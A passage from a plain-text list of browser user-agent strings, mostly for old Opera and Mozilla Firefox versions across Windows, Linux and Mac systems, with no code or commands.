Presto/2.1.1 Opera/9.63 (Windows NT 6.0; U; en) Presto/2.1.1 Opera/9.63 (Windows NT 6.0; U; fr) Presto/2.1.1 Opera/9.63 (Windows NT 6.0; U; nb) Presto/2.1.1 Opera/9.63 (Windows NT 6.0; U; pl) Presto/2.1.1 Opera/9.63 (Windows NT 6.1; U; de) Presto/2.1.1 Opera/9.63 (Windows NT 6.1; U; en) Presto/2.1.1 Opera/9.63 (Windows NT 6.1; U; hu) Presto/2.1.1 Opera/9.63 (X11; FreeBSD 7.1-RELEASE i386; U; en) Presto/2.1.1 Opera/9.63 (X11; Linux i686) Opera/9.63 (X11; Linux i686; U; de) Presto/2.1.1 Opera/9.63 (X11; Linux i686; U; en) Opera/9.63 (X11; Linux i686; U; nb) Presto/2.1.1 Opera/9.63 (X11; Linux i686; U; ru) Opera/9.63 (X11; Linux i686; U; ru) Presto/2.1.1 Opera/9.63 (X11; Linux x86_64; U; cs) Presto/2.1.1 Opera/9.63 (X11; Linux x86_64; U; ru) Presto/2.1.1 Opera/9.64(Windows NT 5.1; U; en) Presto/2.1.1 Opera/9.64 (Windows NT 6.0; U; pl) Presto/2.1.1 Opera/9.64 (Windows NT 6.0; U; zh-cn) Presto/2.1.1 Opera/9.64 (Windows NT 6.1; U; de) Presto/2.1.1 Opera/9.64 (Windows NT 6.1; U; MRA 5.5 (build 02842); ru) Presto/2.1.1 Opera/9.64 (X11; Linux i686; U; da) Presto/2.1.1 Opera/9.64 (X11; Linux i686; U; de) Presto/2.1.1 Opera/9.64 (X11; Linux i686; U; en) Presto/2.1.1 Opera/9.64 (X11; Linux i686; U; Linux Mint; it) Presto/2.1.1 Opera/9.64 (X11; Linux i686; U; Linux Mint; nb) Presto/2.1.1 Opera/9.64 (X11; Linux i686; U; nb) Presto/2.1.1 Opera/9.64 (X11; Linux i686; U; pl) Presto/2.1.1 Opera/9.64 (X11; Linux i686; U; sv) Presto/2.1.1 Opera/9.64 (X11; Linux i686; U; tr) Presto/2.1.1 Opera/9.64 (X11; Linux x86_64; U; cs) Presto/2.1.1 Opera/9.64 (X11; Linux x86_64; U; de) Presto/2.1.1 Opera/9.64 (X11; Linux x86_64; U; en-GB) Presto/2.1.1 Opera/9.64 (X11; Linux x86_64; U; en) Presto/2.1.1 Opera/9.64 (X11; Linux x86_64; U; hr) Presto/2.1.1 Opera/9.64 (X11; Linux x86_64; U; pl) Presto/2.1.1 Opera 9.7 (Windows NT 5.2; U; en) Opera/9.80 (J2ME/MIDP; Opera Mini/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/886; U; en) Presto/2.4.15 Opera/9.80 (Linux i686; U; en) Presto/2.5.22 Version/10.51 Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; de) Presto/2.9.168 Version/11.52 Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52 Opera/9.80 (Macintosh; Intel Mac OS X; U; nl) Presto/2.6.30 Version/10.61 Opera/9.80 (S60; SymbOS; Opera Tablet/9174; U; en) Presto/2.7.81 Version/10.5 Opera/9.80 (Windows 98; U; de) Presto/2.6.30 Version/10.61 Opera/9.80 (Windows NT 5.1; U; cs) Presto/2.2.15 Version/10.10 Opera/9.80 (Windows NT 5.1; U; cs) Presto/2.7.62 Version/11.01 Opera/9.80 (Windows NT 5.1; U; de) Presto/2.2.15 Version/10.10 Opera/9.80 (Windows NT 5.1; U; en) Presto/2.9.168 Version/11.51 Opera/9.80 (Windows NT 5.1; U; it) Presto/2.7.62 Version/11.00 Opera/9.80 (Windows NT 5.1; U; MRA 5.5 (build 02842); ru) Presto/2.7.62 Version/11.00 Opera/9.80 (Windows NT 5.1; U; MRA 5.6 (build 03278); ru) Presto/2.6.30 Version/10.63 Opera/9.80 (Windows NT 5.1; U; pl) Presto/2.6.30 Version/10.62 Opera/9.80 (Windows NT 5.1; U;) Presto/2.7.62 Version/11.01 Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.5.22 Version/10.50 Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.39 Version/11.00 Opera/9.80 (Windows NT 5.1; U; sk) Presto/2.5.22 Version/10.50 Opera/9.80 (Windows NT 5.1; U; zh-cn) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 5.1; U; zh-sg) Presto/2.9.181 Version/12.00 Opera/9.80 (Windows NT 5.1; U; zh-tw) Presto/2.8.131 Version/11.10 Opera/9.80 (Windows NT 5.2; U; en) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 5.2; U; en) Presto/2.6.30 Version/10.63 Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51 Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.6.30 Version/10.61 Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.7.62 Version/11.01 Opera/9.80 (Windows NT 5.2; U; zh-cn) Presto/2.6.30 Version/10.63 Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14 Opera/9.80 (Windows NT 6.0; U; cs) Presto/2.5.22 Version/10.51 Opera/9.80 (Windows NT 6.0; U; de) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 6.0; U; en) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 6.0; U; en) Presto/2.2.15 Version/10.10 Opera/9.80 (Windows NT 6.0; U; en) Presto/2.7.39 Version/11.00 Opera/9.80 (Windows NT 6.0; U; en) Presto/2.8.99 Version/11.10 Opera/9.80 (Windows NT 6.0; U; Gecko/20100115; pl) Presto/2.2.15 Version/10.10 Opera/9.80 (Windows NT 6.0; U; it) Presto/2.6.30 Version/10.61 Opera/9.80 (Windows NT 6.0; U; nl) Presto/2.6.30 Version/10.60 Opera/9.80 (Windows NT 6.0; U; pl) Presto/2.10.229 Version/11.62 Opera/9.80 (Windows NT 6.0; U; pl) Presto/2.7.62 Version/11.01 Opera/9.80 (Windows NT 6.0; U; zh-cn) Presto/2.5.22 Version/10.50 Opera/9.80 (Windows NT 6.1; Opera Tablet/15165; U; en) Presto/2.8.149 Version/11.1 Opera/9.80 (Windows NT 6.1; U; cs) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 6.1; U; cs) Presto/2.7.62 Version/11.01 Opera/9.80 (Windows NT 6.1; U; de) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 6.1; U; de) Presto/2.2.15 Version/10.10 Opera/9.80 (Windows NT 6.1; U; en-GB) Presto/2.7.62 Version/11.00 Opera/9.80 (Windows NT 6.1; U; en) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 6.1; U; en) Presto/2.5.22 Version/10.51 Opera/9.80 (Windows NT 6.1; U; en) Presto/2.6.30 Version/10.61 Opera/9.80 (Windows NT 6.1; U; en-US) Presto/2.7.62 Version/11.01 Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00 Opera/9.80 (Windows NT 6.1; U; fi) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 6.1; U; fi) Presto/2.7.62 Version/11.00 Opera/9.80 (Windows NT 6.1; U; fr) Presto/2.5.24 Version/10.52 Opera/9.80 (Windows NT 6.1; U; ja) Presto/2.5.22 Version/10.50 Opera/9.80 (Windows NT 6.1; U; ko) Presto/2.7.62 Version/11.00 Opera/9.80 (Windows NT 6.1; U; pl) Presto/2.6.31 Version/10.70 Opera/9.80 (Windows NT 6.1; U; pl) Presto/2.7.62 Version/11.00 Opera/9.80 (Windows NT 6.1; U; sk) Presto/2.6.22 Version/10.50 Opera/9.80 (Windows NT 6.1; U; sv) Presto/2.7.62 Version/11.01 Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.2.15 Version/10.00 Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.5.22 Version/10.50 Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.6.30 Version/10.61 Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.6.37 Version/11.00 Opera/9.80 (Windows NT 6.1; U; zh-cn) Presto/2.7.62 Version/11.01 Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.5.22 Version/10.50 Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.7.62 Version/11.01 Opera/9.80 (Windows NT 6.1; WOW64; U; pt) Presto/2.10.229 Version/11.62 Opera/9.80 (Windows NT 6.1 x64; U; en) Presto/2.7.62 Version/11.00 Opera/9.80 (X11; Linux i686; Ubuntu/14.10) Presto/2.12.388 Version/12.16 Opera/9.80 (X11; Linux i686; U; Debian; pl) Presto/2.2.15 Version/10.00 Opera/9.80 (X11; Linux i686; U; de) Presto/2.2.15 Version/10.00 Opera/9.80 (X11; Linux i686; U; en-GB) Presto/2.2.15 Version/10.00 Opera/9.80 (X11; Linux i686; U; en-GB) Presto/2.5.24 Version/10.53 Opera/9.80 (X11; Linux i686; U; en) Presto/2.2.15 Version/10.00 Opera/9.80 (X11; Linux i686; U; en) Presto/2.5.27 Version/10.60 Opera/9.80 (X11; Linux i686; U; es-ES) Presto/2.6.30 Version/10.61 Opera/9.80 (X11; Linux i686; U; es-ES) Presto/2.8.131 Version/11.11 Opera/9.80 (X11; Linux i686; U; fr) Presto/2.7.62 Version/11.01 Opera/9.80 (X11; Linux i686; U; hu) Presto/2.9.168 Version/11.50 Opera/9.80 (X11; Linux i686; U; it) Presto/2.5.24 Version/10.54 Opera/9.80 (X11; Linux i686; U; it) Presto/2.7.62 Version/11.00 Opera/9.80 (X11; Linux i686; U; ja) Presto/2.7.62 Version/11.01 Opera/9.80 (X11; Linux i686; U; nb) Presto/2.2.15 Version/10.00 Opera/9.80 (X11; Linux i686; U; pl) Presto/2.2.15 Version/10.00 Opera/9.80 (X11; Linux i686; U; pl) Presto/2.6.30 Version/10.61 Opera/9.80 (X11; Linux i686; U; pt-BR) Presto/2.2.15 Version/10.00 Opera/9.80 (X11; Linux i686; U; ru) Presto/2.2.15 Version/10.00 Opera/9.80 (X11; Linux i686; U; ru) Presto/2.8.131 Version/11.11 Opera/9.80 (X11; Linux x86_64; U; bg) Presto/2.8.131 Version/11.10 Opera/9.80 (X11; Linux x86_64; U; de) Presto/2.2.15 Version/10.00 Opera/9.80 (X11; Linux x86_64; U; en-GB) Presto/2.2.15 Version/10.01 Opera/9.80 (X11; Linux x86_64; U; en) Presto/2.2.15 Version/10.00 Opera/9.80 (X11; Linux x86_64; U; fr) Presto/2.9.168 Version/11.50 Opera/9.80 (X11; Linux x86_64; U; it) Presto/2.2.15 Version/10.10 Opera/9.80 (X11; Linux x86_64; U; pl) Presto/2.7.62 Version/11.00 Opera/9.80 (X11; Linux x86_64; U; Ubuntu/10.10 (maverick); pl) Presto/2.7.62 Version/11.01 Opera/9.80 (X11; U; Linux i686; en-US; rv:1.9.2.3) Presto/2.2.15 Version/10.10 Opera/9.99 (Windows NT 5.1; U; pl) Presto/9.9.9 Opera/9.99 (X11; U; sk) Opera/10.50 (Windows NT 6.1; U; en-GB) Presto/2.2.2 Opera/10.60 (Windows NT 5.1; U; en-US) Presto/2.6.30 Version/10.60 Opera/10.60 (Windows NT 5.1; U; zh-cn) Presto/2.6.30 Version/10.60 Opera/12.0(Windows NT 5.1;U;en)Presto/22.9.168 Version/12.00 Opera/12.0(Windows NT 5.2;U;en)Presto/22.9.168 Version/12.00 Opera/12.80 (Windows NT 5.1; U; en) Presto/2.10.289 Version/12.02 # Mozilla Firefox Mozilla/4.0 (compatible; Intel Mac OS X 10.6; rv:2.0b8) Gecko/20100101 Firefox/4.0b8) Mozilla/4.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.2) Gecko/2010324480 Firefox/3.5.4 Mozilla/4.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.7) Gecko/2008398325 Firefox/3.1.4 Mozilla/5.0 (compatible; Windows; U; Windows NT 6.2; WOW64; en-US; rv:12.0) Gecko/20120403211507 Firefox/12.0 Mozilla/5.0 (Linux i686; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Mozilla/5.0 (Macintosh; I; Intel Mac OS X 11_7_9; de-LI; rv:1.9b4) Gecko/2012010317 Firefox/10.0a4 Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10; rv:33.0) Gecko/20100101 Firefox/33.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b11pre) Gecko/20110126 Firefox/4.0b11pre Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b8) Gecko/20100101 Firefox/4.0b8 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:25.0) Gecko/20100101 Firefox/25.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0a2) Gecko/20111101 Firefox/9.0a2 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:21.0) Gecko/20100101 Firefox/21.0 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0 Mozilla/5.0 (Macintosh; I; PPC Mac OS X Mach-O; en-US; rv:1.9a1) Gecko/20061204 Firefox/3.0a1 Mozilla/5.0 (Macintosh; PPC Mac OS X; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Mozilla/5.0 (Macintosh; PPC Mac OS X; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.0.10) Gecko/2009122115 Firefox/3.0.17 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20090204 Firefox/3.1b3pre Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 GTB5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; fr; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; it; rv:1.9.2.22) Gecko/20110902 Firefox/3.6.22 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; it; rv:1.9b4) Gecko/2008030317 Firefox/3.0b4 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; ko; rv:1.9.1b2) Gecko/20081201 Firefox/3.1b2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; pl; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 FBSMTWB Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; de; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 GTB5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.24) Gecko/20111103 Firefox/3.6.24 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6;en-US; rv:1.9.2.9) Gecko/20100824 Firefox/3.6.9 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2) Gecko/20091218 Firefox 3.6b5 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.23) Gecko/20110920 Firefox/3.6.23 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; he; rv:1.9.1b4pre) Gecko/20100405 Firefox/3.6.3plugin1 Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.7; en-US; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; de-AT; rv:1.9.1.8) Gecko/20100625 Firefox/3.6.6 Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.12pre) Gecko/20080122 Firefox/2.0.0.12pre Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.13) Gecko/20080313 Firefox Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-GB; rv:1.9.2.19) Gecko/20110707 Firefox/3.6.19 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-GB; rv:1.9b5) Gecko/2008032619 Firefox/3.0b5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-US; rv:1.9.0.4) Gecko/20081029 Firefox/2.0.0.18 Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10.4; en-US; rv:1.9.2.22) Gecko/20110902 Firefox/3.6.22 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.6) Gecko/20040206 Firefox/0.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.13) Gecko/20060410 Firefox/1.0.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7) Gecko/20040614 Firefox/0.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.4 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1b1) Gecko/20060707 Firefox/2.0b1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1b1) Gecko/20061110 Firefox/2.0b3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b5) Gecko/20051006 Firefox/1.4.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8) Gecko/20060320 Firefox/2.0a1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8) Gecko/20060322 Firefox/2.0a1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.9a1) Gecko/20061204 Firefox/3.0a1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; es-ES; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; rv:1.7.3) Gecko/20040913 Firefox/0.10 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; rv:1.8.1.16) Gecko/20080702 Firefox Mozilla/5.0 (Microsoft Windows NT 6.2.9200.0); rv:22.0) Gecko/20130405 Firefox/22.0 Mozilla/5.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.13) Firefox/3.6.13 Mozilla/5.0 (U; Windows NT 5.1; en-GB; rv:1.8.1.17) Gecko/20080808 Firefox/2.0.0.17 Mozilla/5.0 (Windows 98; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Mozilla/5.0 (Windows NT 5.0; rv:21.0) Gecko/20100101 Firefox/21.0 Mozilla/5.0 (Windows NT 5.0; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (Windows NT 5.0; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (Windows NT 5.0; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0 Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko Firefox/11.0 Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20120403211507 Firefox/12.0 Mozilla/5.0 (Windows NT 5.1; rv:14.0) Gecko/20120405 Firefox/14.0a1 Mozilla/5.0 (Windows NT 5.1; rv:15.0) Gecko/20100101 Firefox/13.0.1 Mozilla/5.0 (Windows NT 5.1; rv:1.9a1) Gecko/20060217 Firefox/1.6a1 Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (Windows NT 5.1; rv:2.0b13pre) Gecko/20110223 Firefox/4.0b13pre Mozilla/5.0 (Windows NT 5.1; rv:2.0b8pre) Gecko/20101127 Firefox/4.0b8pre Mozilla/5.0 (Windows NT 5.1; rv:2.0b9pre) Gecko/20110105 Firefox/4.0b9pre Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0 Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20130331 Firefox/21.0 Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20130401 Firefox/21.0 Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0 Mozilla/5.0 (Windows NT 5.1; rv:6.0) Gecko/20100101 Firefox/6.0 FirePHP/0.6 Mozilla/5.0 (Windows NT 5.1; rv:8.0; en_us) Gecko/20100101 Firefox/8.0 Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Mozilla/5.0 (Windows NT 5.1; U; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (Windows NT 5.1; U; tr; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.8.1) Gecko/20091102 Firefox/3.5.5 Mozilla/5.0 (Windows NT 5.2; rv:2.0b13pre) Gecko/20110304 Firefox/4.0b13pre Mozilla/5.0 (Windows NT 5.2; U; de; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Mozilla/5.0 (Windows NT 5.2; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (Windows NT 6.0; rv:14.0) Gecko/20100101 Firefox/14.0.1 Mozilla/5.0 (Windows NT 6.0; U; hu; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Mozilla/5.0 (Windows NT 6.0; U; sv; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Mozilla/5.0 (Windows NT 6.0; U; tr; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0 Mozilla/5.0 (Windows NT 6.1.1; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (Windows NT 6.1; de;rv:12.0) Gecko/20120403211507 Firefox/12.0 Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/12.0 Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/14.0.1 Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/ 20120405 Firefox/14.0.1 Mozilla/5.0 (Windows NT 6.1; rv:14.0) Gecko/20100101 Firefox/18.0.1 Mozilla/5.0 (Windows NT 6.1; rv:14.0) Gecko/20120405 Firefox/14.0a1 Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120716 Firefox/15.0a2 Mozilla/5.0 (Windows NT 6.1; rv:1.9) Gecko/20100101 Firefox/4.0 Mozilla/5.0 (Windows NT 6.1; rv:2.0b10) Gecko/20110126 Firefox/4.0b10 Mozilla/5.0 (Windows NT 6.1; rv:2.0b10pre) Gecko/20110113 Firefox/4.0b10pre Mozilla/5.0 (Windows NT 6.1; rv:2.0b11pre) Gecko/20110126 Firefox/4.0b11pre Mozilla/5.0 (Windows NT 6.1; rv:2.0b6pre) Gecko/20100903 Firefox/4.0b6pre Firefox/4.0b6pre Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre Mozilla/5.0 (Windows NT 6.1; rv:2.0) Gecko/20110319 Firefox/4.0 Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20100101 Firefox/21.0 Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130328 Firefox/21.0 Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130401 Firefox/21.0 Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20130405 Firefox/22.0 Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3 Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20100101 Firefox/19.0 Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20100101 Firefox/7.0 Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20110814 Firefox/6.0 Mozilla/5.0 (Windows NT 6.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Mozilla/5.0 (Windows NT 6.1; U; ru; rv:5.0.1.6) Gecko/20110501 Firefox/5.0.1 Firefox/5.0.1 Mozilla/5.0 (Windows NT 6.1; U;WOW64; de;rv:11.0) Gecko Firefox/11.0 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:14.0) Gecko/20120405 Firefox/14.0a1 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:16.0.1) Gecko/20121011 Firefox/21.0.1 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b10pre) Gecko/20110118 Firefox/4.0b10pre Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b11pre) Gecko/20110128 Firefox/4.0b11pre Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b11pre) Gecko/20110129 Firefox/4.0b11pre Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b11pre) Gecko/20110131 Firefox/4.0b11pre Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101114 Firefox/4.0b8pre Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101128 Firefox/4.0b8pre Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101213 Firefox/4.0b8pre Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b9pre) Gecko/20101228 Firefox/4.0b9pre Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:22.0) Gecko/20130328 Firefox/22.0 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.2a1pre) Gecko/20110208 Firefox/4.2a1pre Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.2a1pre) Gecko/20110323 Firefox/4.2a1pre Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.2a1pre) Gecko/20110324 Firefox/4.2a1pre Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:23.0) Gecko/20131011 Firefox/23.0 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/29.0 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:5.0) Gecko/20110619 Firefox/5.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko Firefox/11.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120427 Firefox/15.0a1 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b11pre) Gecko/20110128 Firefox/4.0b11pre Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b6pre) Gecko/20100903 Firefox/4.0b6pre Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7) Gecko/20100101 Firefox/4.0b7 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7) Gecko/20101111 Firefox/4.0b7 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b8pre) Gecko/20101114 Firefox/4.0b8pre Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130330 Firefox/21.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130331 Firefox/21.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130401 Firefox/21.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20130406 Firefox/23.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20130401 Firefox/31.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110612 Firefox/6.0a2 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110613 Firefox/6.0a2 Mozilla/5.0 (Windows NT 6.2; rv:21.0) Gecko/20130326 Firefox/21.0 Mozilla/5.0 (Windows NT 6.2; rv:22.0) Gecko/20130405 Firefox/22.0 Mozilla/5.0 (Windows NT 6.2; rv:22.0) Gecko/20130405 Firefox/23.0 Mozilla/5.0 (Windows NT 6.2; rv:9.0.1) Gecko/20100101 